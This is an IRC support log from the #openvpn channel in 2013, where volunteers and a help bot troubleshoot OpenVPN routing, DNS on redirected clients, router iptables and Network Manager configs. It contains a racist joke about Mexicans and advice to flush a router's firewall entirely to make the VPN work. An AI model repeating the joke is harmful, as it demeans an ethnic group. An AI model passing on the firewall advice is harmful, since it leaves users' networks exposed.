21:52 <@krzee> in my openwrt i use a program mount_root, in android with busybox i: busybox mount -o remount,rw /system     in android without busybox i use: mount -o remount,rw <some /dev/ path as seen in 'mount' command>
21:52 < Ghormoon_> well, I've managed to find post-boot script so I added it there
21:53 < Ghormoon_> and it finally autoconnects
21:53 < Ghormoon_> only thing left now is routing
21:53 <@krzee> oh how did you get openvpn working!?
21:53 < Ghormoon_> found working 2.2.0 binary :D
21:54 <@krzee> good job!
21:55 < Ghormoon_> I've found working repo with some packages, even some build ones, but it complains that it depends on libstdc++ and it's not there :(
21:56 < Ghormoon_> even in unstable no .. so I'll have to stick with the 2.2.0 but that should do
21:56 <@krzee> that is MUCH better than 2.0.9
21:57 <+EugeneKay> Get it figured out, krzee?
21:57 < Ghormoon_> but still not 100%
21:58 <@krzee> EugeneKay, i couldnt even try yet? work got busy and i just got home from there. so now its bongloads and then i'll give it a go
21:58 < Ghormoon_> btw when I want to connect multiple networks 10.143.X.0/24 can the openvpn server somehow handle routes for all clients or is it less hassle to route 10.143.0.0/16 on the clients to the GW?
21:58 <@krzee> i did save that part of the buffer to a file so i wont lose it though
21:59 <@krzee> Ghormoon_, yes the server can push routes to clients
21:59 <@krzee> "or is it less hassle to route 10.143.0.0/16 on the clients to the GW" i dont get what you meant there
22:00 <+EugeneKay> That is a prerequisite for arguing with that shit
22:00 < Ghormoon_> and does somehow maintain list? when you connect them in some order, what about the first one? he can't get the routes, right?
22:00 <@krzee> Ghormoon_, huh?
22:00 <@krzee> oh are you asking if the server can handle routing all client lans to eachother?
22:00 < Ghormoon_> yep
22:00 <@krzee> you never mentioned "lan"
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 < Ghormoon_> well, with my english I don't mention a lot things correctly :D
22:01 <@krzee> you must specifically configure each lan
22:01 <@krzee> !route
22:01 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
22:01 <@vpnHelper> the server or client
22:01 <@krzee> oh i did not even notice that english was not your first language
22:01 <@krzee> in that case, good job =]
22:01 <@krzee> i have understood you well
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 < Ghormoon_> in examples there was amuanlly added route (route add ... in the OS), I don't need that one then, right?
22:03 <@krzee> you mean in the section that says "ROUTES TO ADD OUTSIDE OPENVPN" ?
22:04 < Ghormoon_> no, in the scripts which came with the openvpn package for the router
22:04 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
22:04 < Ghormoon_> there was script whichc is run after starting openvpn
22:04 <@krzee> your config did not call a script
22:04 <@krzee> you saying the program that started openvpn also ran a script?
22:04 < Ghormoon_> sunno it it doesn't call automatically :D ok, I'll delete it then
22:05 <@krzee> dont delete it yet
22:05 <@krzee> what does it do?
22:05 <@krzee> lol
22:05 < Ghormoon_> route add .... mask ...
22:05 <@krzee> what subnets is it adding!?
22:05 <@krzee> lol
22:05 < Ghormoon_> [admin@asusRN root]$ cat /opt/etc/openvpn/openvpn.up  #!/bin/sh route add -net 10.143.0.0 netmask 255.255.0.0 gw $5
22:05 < Ghormoon_> it was witch rome 10.0.8.0/24 so I've eddited it
22:06 < Ghormoon_> *some
22:06 <@krzee> in the program that runs it, stop it from running
22:06 <@krzee> dont delete it
22:06 <@krzee> just remove the line that calls it
22:06 <@krzee> then see if openvpn works
22:06 < Ghormoon_> actually I don't even know it it runs :D
22:06 <@krzee> lol
22:06 -!- Casper [~Phantom@unaffiliated/thephantom] has left #openvpn ["Leaving"]
22:06 < Ghormoon_> most propably not
22:06 < Ghormoon_> since there's no such route on the router now
22:07 <@krzee> ok remove it
22:07 <@krzee> im just wondering if openvpn has a problem adding routes on your router so someone made a script to handle it
22:07 < Ghormoon_> but anyway, is it ok to push 10.143.0.0/16? it should, right?
22:07 <@krzee> oh wait no it has $5 so its made to be an --up script
22:07 < Ghormoon_> so I don't have to edit it in all clients when I add another
22:07 <@krzee> and your config does not call any up scripts
22:07 -!- HyperGli_ [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
22:07 <@krzee> so no, you do not need that file
22:08 <@krzee> you would not need to edit it in clients
22:08 <@krzee> you do not need to add ANY routes in client configs
22:08 <@krzee> in !route i NEVER show you any client config files
22:08 <@krzee> that is all done on the server in my writeup
22:08 <@krzee> you need to actually READ !route
22:08 <@krzee> do not skim it
22:09 <@krzee> !route
22:09 < Ghormoon_> I meant the ccd/ but just realised there is the network from the one client, not from the others
22:09 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
22:09 <@vpnHelper> the server or client
22:09 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Ping timeout: 264 seconds]
22:09 <@krzee> the ccd iroute entries is where you tell the server which client lan is behind which client
22:09 < Ghormoon_> I did not read it whole yet so I thought that I have to add everything there :D
22:09 <@krzee> well go read it
22:09 <@krzee> thats why it says:
22:09 < Ghormoon_> :)
22:10 <@krzee> read it DONT SKIM IT or (#2) READ IT DONT SKIM IT!
22:16 -!- HyperGli_ [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
22:17 < Ghormoon_> btw can I force the clients to reconnect when I restart server?
22:17 < Ghormoon_> I've tried now adding the routes on server and it doesn't seem to catch up (Can't ping event the router itself, nor server from router)
22:19 < Ghormoon_> lol, 3 packets got through and rest is lost ...
22:22 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
22:26 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 276 seconds]
22:32 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
22:32 -!- Ghormoon_ is now known as Ghormoon
22:32 < Ghormoon> weeeel, I shouldn't ever touch routes
22:32 < Ghormoon> I've managed to route it so well that I can't even ping the router locally :D
22:32 <+EugeneKay> Route harder, not smarter
22:35 -!- p3rror [~p3rror@41.249.126.96] has quit [Ping timeout: 256 seconds]
22:36 <@krzee> !keepalive
22:36 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
22:36 <@krzee> root@OpenWrt:~# ip rule to 192.168.0.52 table 2
22:36 <@krzee> Command "to" is unknown, try "ip rule help".
22:37 <@krzee> oh meh
22:37 <@krzee> ignore that :D
22:38 <+EugeneKay> :-D
22:38 <@krzee> root@OpenWrt:~# ip route add default via 192.168.0.1 dev eth1.2 table 2
22:38 <@krzee> RTNETLINK answers: No such process
22:38 < Ghormoon> anyway, the problem most propably wasn't that it crashed the connection, but that it routed wrong :D
22:40 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has quit [Read error: Connection reset by peer]
22:40 <+EugeneKay> Oh, you need to fuck with..... /etc/iproute2/rt_tables
22:40 <+EugeneKay> And use a named table, not a numbered.
22:40 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
22:41 <+EugeneKay> And I hate RTNETLINK errors. So fucking meaningless.
22:41 <@krzee> oh ok
22:42 <+EugeneKay> YOu basically have to memorize all of the voodoo to do anything with it
22:42 <+EugeneKay> To think that most of the ineternet runs on this piece of shit kernel
22:43 -!- Ghormoon_ [~Ghormoon@ip-37-188-234-81.eurotel.cz] has joined #openvpn
22:45 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 246 seconds]
22:46 -!- Ghormoon__ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
22:48 -!- Ghormoon_ [~Ghormoon@ip-37-188-234-81.eurotel.cz] has quit [Ping timeout: 264 seconds]
22:53 <@krzee> in freebsd i use the setfib <table number> command before other commands, such as setfib 1 route add ...
22:53 <@krzee> or setfib 1 ping ...
22:53 <@krzee> then in the firewall you simply mark inbound packets to whatever table you want
22:54 <@krzee> seems like the logical way to me
22:57 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:58 -!- newbie|5 [~tjz@bb219-74-136-113.singnet.com.sg] has quit [Ping timeout: 264 seconds]
22:59 -!- Ghormoon__ is now known as Ghormoon
23:03 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
23:03 -!- Casper [~Phantom@unaffiliated/thephantom] has joined #openvpn
23:03 < Casper> krzee: done more testing. Guess what...
23:03 < Casper> the documentation is faulty
23:03 <@krzee> ya?
23:04 <+EugeneKay> That's a very IOS way of approaching things
23:04 <@krzee> EugeneKay, using setfib / marking in the firewall?
23:04 <+EugeneKay> The command structure
23:05 < Casper> the use proxy directive in the config file is ignored, the proxy setting is done not in the config, nor in the app, but via the setting -> openvpn -> enable proxy / host / port....
23:05 <@krzee> oh nice
23:05 <@krzee> so you got that working>
23:05 <+EugeneKay> You can do marking in ip/ebtables, and then use an ip rule to assign it to a given table, but there's no need
23:05 <@krzee> ?
23:05 < Casper> now, I get a certificate mismatch on 3g, time to fix the certificate now
23:06 <@krzee> sweet, glad to hear it
23:06 < Casper> yup
23:06 <@krzee> got the link to the faulty docs/
23:06 <@krzee> ?
23:06 < Ghormoon> btw any ideas, why it took about 10 minutes to start routing? I was finding out what the hell do I have wrong, I could ping between router and server, but not from the network ... now after a while (nothing changed) I can ...
23:06 < Casper> krzee: possibly still open
23:07 < Casper> http://openvpn.net/index.php/open-source/documentation/howto.html#http  ← that one
23:07 <@vpnHelper> Title: HOWTO (at openvpn.net)
23:07 <@krzee> it doesnt talk about IOS
23:07 <@krzee> lol
23:07 <@krzee> the docs are fine
23:07 <@krzee> the ios client is NOT opensource openvpn
23:07 < Casper> that talk about the .ovpn file that the client open, and the link is from the ios client page
23:08 <@krzee> the docs are talking about opensource openvpn unless they SAY ios
23:08 <@krzee> its interoperable to a point with it, but not 100% the same
23:08 < Casper> in other words, someone need to clarify the documentation or kill the link in the ios page
23:08 < Ghormoon> well, still not ok, I can ping local interface of the router from server, but not local machines :( but I can ping server from my notebook ...
23:08 <@krzee> whats the IOS link you had
23:09 <@krzee> Ghormoon, keep reading !route until you understand it
23:09 < Casper> somewhere there, they talk about the ios client, then you go to their faq for the ios client... (or what appear to be), which end up with the .ovpn file and that
23:09 <+EugeneKay> iOS: because fuck you.
23:09 <@krzee> ya i dont feel like googling for it, so ill go back to doing my stuff
23:10 < Casper> now... I guess I need to put the .ca of the client in the .ovpn... I guess...
23:10 <@krzee> hopefully the next person who needs --proxy bothers to look at the gui and find that its directly supported there :D
23:10 < Casper> btw, they talk about a dummy cert for the client in the .ovpn... is that really a dummy?
23:10 <@krzee> your client and server need to be signed by the same ca.key
23:11 <@krzee> and the coresponding ca.crt goes on both
23:11 <@krzee> !pki
23:11 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
23:11 <@vpnHelper> signed specially as a server (see !servercert)
23:11 < Casper> but hey, atleast it attempted to connect! :D
23:11 < Ghormoon> well, I think I have routes correct, I don't have the "dropped" messages in log anymore and in "route" I see the routes
23:11 < slushpuppy> !script
23:11 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
23:12 <@krzee> Ghormoon, keep playing with it and reading !route and if i finish my linux multiple routing table stuff ill walk you through the rest
23:13 < Ghormoon> I expect some problem on the router rather than openvpn config :(
23:15 < Ghormoon> eg I have Sun Jul 14 06:13:22 2013 us=152858 MULTI: Learn: 10.143.43.150 -> novakovi_router.vpn.ghorland.net/217.196.214.124:2051
23:15 < Ghormoon> so it know it's this way
23:24 < Casper> well, time to sleep, wake up time in less than 7 hours :/   digging ground to install concrete blocks... 7am = 27C, 8AM = 28C, 9AM = 30C, 10AM = 34C, 11AM = 38C... man... this will be hell...
23:27 <+EugeneKay> This is why God invented Mexicans.
23:28 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:28 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
23:29 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:29 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
23:31 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
23:31 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Read error: Connection reset by peer]
23:31 < Casper> EugeneKay: sadly, I'm not... I prefer the cold
23:31 < Casper> -10C is a nice temperature
23:34 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
23:37 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 245 seconds]
23:42 < Casper> SUCCESS! (atleast partial?)
23:43 -!- Ghormoon__ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
23:43 < Casper> The web load! whoot!
23:43 -!- Ghormoon__ is now known as Ghormoon
23:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:45 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
23:45 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 245 seconds]
23:53 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
23:54 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Client Quit]
--- Day changed Sun Jul 14 2013
00:10 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
00:13 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 256 seconds]
00:15 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has quit [Read error: Connection reset by peer]
00:15 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
00:15 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
00:15 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-upxyuvqgbfsgxdjm] has quit [Quit: Connection closed for inactivity]
00:17 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 240 seconds]
00:17 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
00:20 < Ghormoon_> is there any way to log where is iptables-restore called from? the router has pregenerated some iptables and it doesn't work then :(
00:24 <+EugeneKay> !notopenvpn
00:24 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
00:25 <+EugeneKay> Try your OS's support channel
00:25 < Ghormoon_> I'm not really sure I'll find support channel for 7 years old router :D
00:25 <+EugeneKay> I have a 12 gauge you can borrow
00:26 < Ghormoon_> anyway, when I flush iptables, it works, even trhoung that wouldn't be the correct solution :D
00:27 <@krzee> that was a perfect solution for me after looking and what openwrt wanted to do to my firewall
00:27 <@krzee> complete flush and start over by hand
00:27 <@krzee> cause? hell no
00:28 < Ghormoon_> well it does this http://ghormoon.ghorland.net/openvpn/iptables.log
00:28 <@krzee> openwrt's default firewall should just be an ascii middle finger
00:28 < Ghormoon_> actually deleting and starting over would be better, but best I can do is delete
00:28 < Ghormoon_> I know nothing about iptables :)
00:28 <@krzee> omg
00:28 <+EugeneKay> !101
00:29 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
00:29 <@krzee> redundant firewall is redundant
00:29 <@krzee> if you got it working with no firewall, then your vpn is done
00:29 <@krzee> time to head to the iptables manual methinks
00:29 < Ghormoon_> seems so :)
00:30 < Ghormoon_> but I'm not sure I can delete everything, what if someone forwards ports in GUI later? I think it writes it there :D
00:31 <@krzee> thats why this isnt the place to ask
00:31 < Ghormoon_> :)
00:32 <@krzee> i removed the gui from my openwrt all together
00:32 < Ghormoon_> well, my family would kill me :D
00:33 < Ghormoon_> I'm here once in a year and I don't even know that much about thet to do all remotely on ssh :)
00:39 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
00:50 -!- Ghormoon__ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
00:52 -!- Ghormoon_ [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 260 seconds]
00:56 -!- Ghormoon___ [~Ghormoon@cust-124.ktknet.cz] has joined #openvpn
00:58 -!- Ghormoon__ [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 240 seconds]
01:01 -!- Ghormoon___ is now known as Ghormoon
01:12 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
01:16 -!- Ghormoon_ [~Ghormoon@ip-37-188-239-114.eurotel.cz] has joined #openvpn
01:16 -!- Ghormoon_ [~Ghormoon@ip-37-188-239-114.eurotel.cz] has left #openvpn []
01:18 -!- Ghormoon [~Ghormoon@cust-124.ktknet.cz] has quit [Ping timeout: 256 seconds]
01:19 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
01:41 -!- oBadAtom is now known as BadAtom
01:42 -!- BadAtom is now known as oBadAtom
02:15 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Quit: Leaving.]
02:30 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:32 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
02:33 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
02:34 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
02:39 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
02:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
02:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:53 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
02:56 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
03:14 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
03:39 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
03:39 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:44 -!- Akuma [~kvirc@89-67-150-116.dynamic.chello.pl] has joined #openvpn
03:45 < Akuma> hello, I'm using ubuntu 13.04 and  I managed to establish a VPN connection to my server, the routes are present, but I cannot ping anything on the vpn network
03:46 <@krzee> trying to ping other vpn clients or the lan behind the server?
03:46 < Akuma> no, trying to ping the gateway
03:46 <@krzee> can you ping the vpn ip of the server?
03:46 <@krzee> (from the vpn client)
03:46 < Akuma> not from within the lan
03:47 < Akuma> I can connect to the VPN server fine
03:47 <@krzee> you are trying to ping the server's gateway from the vpn client, correct?
03:47 < Akuma> yes
03:47 <@krzee> ok
03:47 <@krzee> can you ping the vpn server's lan ip from the vpn client?
03:47 < Akuma> the ping works fine when I connect from my windows machine
03:48 <@krzee> my flowchart for troubleshooting this is offline so im walking you through it
03:48 <@krzee> answer my questions and we'll get through this =]
03:48 < Akuma> kk
03:48 <@krzee> can you ping the vpn server's lan ip from the vpn client?
03:48 < Akuma> thanks
03:48 < Akuma> no
03:49 <@krzee> !linipforward
03:49 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
03:49 <@krzee> enable ip forwarding and then try again and answer again
03:50 < slushpuppy> interesting.. i do have a same problem, but I can ping ips, but not perform any name resolution
03:51 <@krzee> slushpuppy, you are redirecting your internet over your vpn?
03:52 < slushpuppy> yes
03:52 < slushpuppy> give me a min to show u my current config
03:52 <@krzee> slushpuppy, your problem is that you are redirecting traffic over the vpn but still trying to use your ISP nameservers, which doesnt work from your vpn server's ip
03:52 <@krzee> you need to do 1 of 2 things:
03:52 < Akuma> krzee: it seems to be dropping the connection after a bit... where are the connection logs usually located?
03:52 <@krzee> 1) change your DNS to an open nameserver like 8.8.8.8 or 4.2.2.1
03:52 <@krzee> 2) push new dns settings to your vpn client
03:52 < slushpuppy> oo
03:52 <@krzee> for 1:
03:52 <@krzee> !opendns
03:52 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
03:52 <@krzee> for 2:
03:53 <@krzee> !pushdns
03:53 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
03:53 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
03:53 < slushpuppy> er hang on right there
03:53 <@krzee> oops for 1: i meant
03:53 <@krzee> !dns
03:53 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
03:53 < slushpuppy> pastebin.com/M4ym7acA <-- this is what i got
03:53 < slushpuppy> basically the server i am running the dns client on, is a remote server
03:53 < slushpuppy> (if that changes anything)
03:54 <@krzee> on your vpn client, what DNS server is it using?
03:54 <@krzee> change that to 8.8.8.8 and watch dns magically work :D
03:54 < slushpuppy> in the conf file?
03:56 <@krzee> no
03:56 <@krzee> in the os
03:56 <@krzee> in /etc/resolv.conf if it is linux
03:57 <@krzee> what os is the client on?
03:57 < slushpuppy> debian
03:57 <@krzee> so ya just change resolv.conf
03:57 < slushpuppy> ok thanks
03:57 <@krzee> then if you want openvpn to do it, we can set that up
03:58 <@krzee> but even if you want that, first just go test that changing resolv.conf helps
03:59 < slushpuppy> nameserver 8.8.8.8 i guess?
04:00 <@krzee> yep
04:00 <@krzee> then you should be able to ping google.com
04:00 <@krzee> does it work?
04:01 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
04:01 < slushpuppy> oh wow it does work
04:01 <@krzee> =]
04:01 < slushpuppy> but how come my hosting company's nameservers don't?
04:01 <@krzee> because they do dns correctly and only allow recursive queries from their own IPs
04:02 <@krzee> otherwise they would be a 60x dos attack amplifier (unless they were to rate-limit their dns or other mitigation techniques)
04:02 <@krzee> it's a very common issue, which is why i knew your problem so fast =]
04:03 < slushpuppy> recursive queries?
04:03 <@krzee> dns lookups for domains they are not authoritative for
04:04 < slushpuppy> thanks alot krzee
04:04 <@krzee> !learn nodns as if you can ping 8.8.8.8 but not google.com (host lookup failure) then you need to either change your client's DNS server to something open to the world (see !dns) or set your vpn server to push a nameserver that it can reach from the server's ip (see !pushdns)
04:04 <@vpnHelper> Joo got it.
04:04 <@krzee> you're welcome =]
04:04 <@krzee> !nodns
04:05 <@vpnHelper> "nodns" is if you can ping 8.8.8.8 but not google.com (host lookup failure) then you need to either change your client's DNS server to something open to the world (see !dns) or set your vpn server to push a nameserver that it can reach from the server's ip (see !pushdns)
04:05 <@krzee> now next time someone has that problem i can just say !nodns and be lazy :D
04:05 <@krzee> Akuma, sorry i didnt see your question til now
04:05 <@krzee> !logfile
04:05 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
04:06 <@krzee> Akuma, if it is dropping every 5 or so minutes check if you have 2 clients running with the same client cert, that would cause them to knock eachother off
04:06 < Akuma> krzee: no problem, I found the logs.. This is the issue I ma having: http://pastebin.com/NVTkCf1D
04:07 <@krzee> ahh your config is wrong it seems
04:07 <@krzee> !configs
04:07 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
04:08 <@krzee> read that carefully please ^
04:08 < Akuma> I've gone through the gui config from ubuntu
04:08 <@krzee> oh
04:08 <@krzee> !netman
04:08 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
04:08 <@krzee> !ubuntu
04:08 <@vpnHelper> "ubuntu" is dont use network manager!
04:08 <@krzee> !goal
04:08 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
04:09 < Akuma> basically I want to connect to the VPN and access my subnets
04:10 < Akuma> the vpn server is configured to push the routes of the subnets
04:10 < Akuma> and things work fine on my windows machine
04:10 < Akuma> ie. can ping all the necessary hosts on different subnets
04:10 <@krzee> all behind the server?
04:10 < Akuma> it's a firewall/server appliance
04:10 < Akuma> supports openvpn
04:11 <@krzee> all shared subnets local to the server?
04:11 <@krzee> or also some behind clients?
04:11 < Akuma> they are all local to the server
04:11 <@krzee> ok, nice and straight forward setup
04:12 <@krzee> !sample
04:12 <@krzee> !whoami
04:12 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
04:12 <@vpnHelper> support
04:12 <@krzee> oh blah
04:12 <@krzee> my web server is down
04:12 <@krzee> which side is using netmanager?
04:12 <@krzee> the server?
04:13 < Akuma> no, client
04:13 <@krzee> oh
04:13 < Akuma> so myself on this machine
04:13 <@krzee> pastebin me the working windows config
04:13 <@krzee> you can import that config into netmanager
04:13 <@krzee> configuring your vpn with netmanager = nono
04:13 < Akuma> I will see if I can export the file as it is propietary implementation of the openvpn client
04:14 <@krzee> using netmanager with a good config = ok
04:14 < Akuma> yea, I'm starting to get  that lol
04:14 <@krzee> pastebin the client config
04:14 <@krzee> err
04:14 <@krzee> i mean
04:14 <@krzee> pastebin the server config
04:14 <@krzee> with that i can give you a working client config
04:14 < Akuma> gimme 2 secs
04:16 < Akuma> I'm trying to see if I can find the windows config somewhere
04:17 <@krzee> what windows app are you using?
04:17 < slushpuppy> krzee, given that I am on a static IP vps, i wouldn't need to worry about resolve.conf getting overwritten yes?
04:17 < Akuma> it's propietary from the appliance developers: endian VPN Client
04:17 <@krzee> slushpuppy, i wouldnt know what your system will do
04:17 <@krzee> interesting
04:17 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
04:17 < slushpuppy> mmkay
04:17 <@krzee> Akuma, is the server a normal config at least?
04:18 < Akuma> as far as I know, I can look for the config file on the server if you want
04:18 < Akuma> it's linux
04:18 <@krzee> ya do that
04:23 < Akuma> which file would be the server config?
04:23 < Akuma> openvpn.conf?
04:23 <@krzee> yep
04:23 <@krzee> well it could be
04:23 <@krzee> ps|grep vpn
04:26 < Akuma> http://pastebin.com/Vi9dHu0Q
04:32 -!- xBytez [~xbytez@xbytez.xxx] has quit [Ping timeout: 245 seconds]
04:35 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
04:41 <@krzee> !configs
04:41 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
04:42 <@krzee> grep -vE '^#|^;|^$' server.conf
04:43 <@krzee> oh god
04:43 <@krzee> why are you bridging?
04:43 < Akuma> ?
04:46 < Akuma> my server provides the dhcp addresses to the vpn client
04:46 <@krzee> !authpass
04:46 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
04:47 <@krzee> !man
04:47 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
04:47 <@krzee> 1sec
04:47 < Akuma> kk
